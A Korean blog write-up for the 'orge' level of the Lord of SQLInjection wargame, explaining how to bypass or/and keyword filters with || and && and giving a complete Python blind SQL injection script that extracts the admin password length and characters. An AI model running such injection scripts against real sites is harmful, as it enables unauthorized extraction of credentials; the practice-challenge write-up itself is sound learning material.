위 사진은 문제 코드이다. 이전 문제와 같이 첫 번째 필터링까진 or, and까지 필터링이 같지만, 2번째 필터링에서 addslashes함수를 통해 싱글쿼터를 필터링하고 있다.
또한 이 문제는 쿼리문이 참이 되는것 만으로 해결 되지는 않으며 blind sql injection을 통해 admin의 pw을 구해 입력해야한다.
먼저 1번째 필터링이 통과되면 hello [uid]가 나오는 점을 이용해야한다. 첫 번째 필터링은 싱글쿼터가 살아있기 때문에 sqli이 가능하다.
or 필터링이 되고 있어 || 로 우회 후 새로운 조건 절을 만들었다. and를 이용헤 pw의 조건을 비교할 수 있다.
(and 연산을 대체할 수 있는 &&는 url에서 사용할 경우 url encoding이된 %26으로 사용해야 한다. 이유로는 &는 url에서 쿼리스트링의 파라미터를 구분하는 역할을하기 때문이다.)
파이썬으로 코드를 작성하자
먼저 아래는 길이를 구하는 코드이다.
쿠키 설정과 &&을 이용해서 and 연산자 필터링을 우회했으며 아스키코드 내에서 한 글자씩 비교를 진행했다. (비밀번호는 아스키 코드임을 가정하고 진행했다.)
다음은 비밀번호를 구하는 코드이다. 이전에 구한 pw_length 만큼 반복하며 substr을 통해 한 글자씩 비교해준다.
최종 exploit
import requests
import string
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php/"
mycookie = dict({"PHPSESSID":"bfibuultegpem0r7d3tvhekp82"})
param = {
"pw": ""
}
ch = string.digits + string.ascii_letters + string.punctuation
query = "a' || id='admin' && length(pw)={i}#"
pw_length = 0
pw = ""
for idx in range(1, 50):
param["pw"] = query.format(i=idx)
result = requests.get(url, params=param, cookies=mycookie)
pw_length += 1
if "Hello admin" in result.text:
print(f"admin's pw length: {pw_length}")
break
query = "a' || id='admin' && substr(pw, {idx}, 1)='{cha}'#"
for i in range(1, pw_length+1):
for c in ch:
param["pw"] = query.format(idx=i, cha=c)
result = requests.get(url, params=param, cookies=mycookie)
if "Hello admin" in result.text:
pw += c
print(f"admin's pw is {pw}")
break
클리어
'Web Hacking > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] los 9번 vampire write up (0) | 2024.03.24 |
---|---|
[Lord of SQLInjection] 8번 troll write up (0) | 2024.03.24 |
[Lord of SQLInjection] 6번 darkelf write up (0) | 2024.03.14 |
[Lord of SQLInjection] 5번 wolfman write up (0) | 2024.03.08 |
[Lord of SQLInjection] 4번 orc write up (6) | 2024.03.08 |